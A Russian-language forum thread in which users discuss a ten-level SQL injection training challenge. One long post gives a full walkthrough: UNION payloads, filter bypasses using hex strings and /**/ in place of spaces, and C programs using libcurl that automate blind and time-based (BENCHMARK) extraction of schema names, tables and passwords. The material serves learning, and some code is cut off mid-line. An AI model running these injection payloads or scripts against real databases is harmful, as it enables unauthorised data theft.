PDA

Просмотр полной версии : Челлендж по SQL Injection для новчиков


faza02
25.03.2015, 17:52
дабы не задавать простых вопросов по sqli рекомендую к прохождению

https://alexbers.com/sql/

ответы на все вопросы: /thread104591.html

YaBtr
25.03.2015, 18:45
Предлагаю посоревноваться

Первый, кто опубликует прохождение, получит печеньки в виде "+".

Приветствуются не шаблонные запросы, старайтесь сокращать запросы до минимального количества символов, в общем придумывайте какие-то ограничения и обходите их. Ждем!

p.s. Цветные не в счет

MaxFast
25.03.2015, 20:40
Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.

Всё сломалось:


Cannot connect to DB!

BigBear
25.03.2015, 20:41
p.s. Цветные не в счет


Ну блииин =(

M_script
25.03.2015, 21:01
MaxFast, dg

faza02
25.03.2015, 21:02
Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.
Всё сломалось:


хинт: schema

TADIAMOND
26.03.2015, 03:29
https://alexbers.com/sql/1.php
Таблица: users
Поля: id,login,pass
Cannot connect to DB!


Что-то не пойму, так и должно быть на первом уровне?

psihoz26
26.03.2015, 15:50
Дошел до 10 и понял что alexbers полный извращенец!!

Этож надо юзеров заставлять blind и time based скули руками крутить!

faza02
26.03.2015, 16:00
для понимания, как все работает, это не так уж плохо

MegaByyte
26.03.2015, 21:44
в 8 левеле точно нет ошибки ?

там, где пароль пользователя с ником fast

billybonse
27.03.2015, 10:14
Очень интересный челлендж. Завис на 4 уровне.

select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1

А дальше как действовать?

Unknown
27.03.2015, 14:49
Очень интересный челлендж. Завис на 4 уровне.
select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1
А дальше как действовать?


' union select * from secret where ggg='abc'--

только ппц как условие звучит.." найти ДАННОЕ таблицы"

billybonse
27.03.2015, 15:03
' union select * from secret where ggg='abc'--
только ппц как условие звучит.." найти
ДАННОЕ
таблицы"


Спасибо. Вот именно условие меня и смутило...

teh
29.03.2015, 15:51
Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка

' union select table_name from information_schema.tables where table_name='secret'--

smirk
29.03.2015, 16:24
Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка
' union select table_name from information_schema.tables where table_name='secret'--


Ну раз ты пошел таким путем, тогда так

'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+

в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+

но, можно и проще:'union+select+*,null+from+secret+--+

teh
29.03.2015, 17:07
Ну раз ты пошел таким путем, тогда так
'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+
в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+
но, можно и проще:'union+select+*,null+from+secret+--+


почему union select 1,2,3 ? там ж, только 2 поля

teh
29.03.2015, 20:51
А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?

faza02
29.03.2015, 21:00
А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?


варианта два. либо true (когда нет ошибки), либо false (есть ошибка). на что похоже?

teh
29.03.2015, 21:12
на слепую? Но как то пасс узнать

winstrool
29.03.2015, 23:49
Дошел до 10 и понял что alexbers полный извращенец!!
Этож надо юзеров заставлять blind и time based скули руками крутить!


А кто тебя заставляет руками крутить?

teh
30.03.2015, 02:29
наконец то прошел левел 8. Сколько там уровней?

MaxFast
30.03.2015, 09:28
наконец то прошел левел 8. Сколько там уровней?


Десять.

Сам остановился на десятом и забросил.

teh
30.03.2015, 11:52
Десять.
Сам остановился на десятом и забросил.


на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться.

faza02
03.06.2015, 00:48
апну тему. советую всем новичкам

Dude
29.06.2015, 18:07
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.


Все просто, вводим запрос как он будет:


select pass from users where id=12;

Ответ: QwErTy

Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#

В итоге пучится :


select * from users where id=2 or login='' or id=9;#'

# - начало комментария, все что за ней - отпросится.

Ответ: secreto

То же самое: ' or id=13;#


select * from users where id=2 or login='' or id=13;#' limit 1

Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда

Ответ: iwanttogo4

Нужно отбросить лимит и приклеить еще один запрос:


select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1

Ответ: dg

То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:


select * from users where id=2 or login='' union select *,1 from secret;#' limit 1

Ответ: thisisapass232

Нужно решить проблему фильтрации кавычки:


select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1

Ответ: ivarywantlevel7

Хорошо, что вы не знаете как я решал задачу сначала...

Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).

Пробелы успешно меняются на /**/.

Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).


select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1

Ответ: level8please

Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...

Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.

Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):


0 union select * from users where login='fast' and LENGTH(pass)>3

нашло одного такого, пароль явно длиннее трех символов


0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код

[CODE]
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;

printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):

[CODE]
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57

Ответ: 9levlpass

Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.

.SpoilerTarget" type="button">Spoiler

[CODE]
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id);

ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);

if(state!='1')return -1;

int cmax=20;//будем считать что нет логинов длиннее 20

while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:
48

131

125

1104

182

51

195

5

136

121

127
Ответ: 2225

Слепой запрос без вывода, time-based injection.

Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).


select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,E NCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%% 29+from+information_schema.schemata%%29%%3D%d%%2CB ENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB% %27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%2 9%%2Cnull%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}


Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.

Сначала находим длину.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[420], *ret, state;
int i;
double time[50];

int dbNameLen=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+length%%28 schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000% %2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Ph ineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}

system("pause");
}



select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Все основано на этом запросе выше.

Длина имени базы равна 7 символов.

Теперь имя. По буквам (из за неточности пришлось увеличить задержку).

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i;

for(i=0;i

База называется "level10". Какой сюрприз. Мог бы и догадатся.

[CODE]
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(10 00000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

На этом запросе основывался поиск имени базы

Теперь найдем количество таблиц в базе.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%2850 00000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doc tor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29% %3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE ('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Все на основе запроса выше.

Таблица одна. Теперь ее имя.

Как всегда, сначала его длинна.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[320], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+++where+table_sc hema%%3D%%27level10%%27+and+length%%28table_name%% 29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28 %%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf +Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DR OP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Длина имени таблицы - 11 символов.

А вот теперь ее имя.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i;

for(i=0;i

[CODE]
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(500 0000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Имя таблицы: davidblayne

Вдруг это уже ответ? Нет, нас еще помучают.

Теперь количество строк ней (хоть это не сложно):

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK %%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C% %27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnul l%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.

Теперь количество столбцов.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[320], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCO DE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше

Тут 5 столбцов. Теперь их имена.

Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.

У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum,int columnNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//>
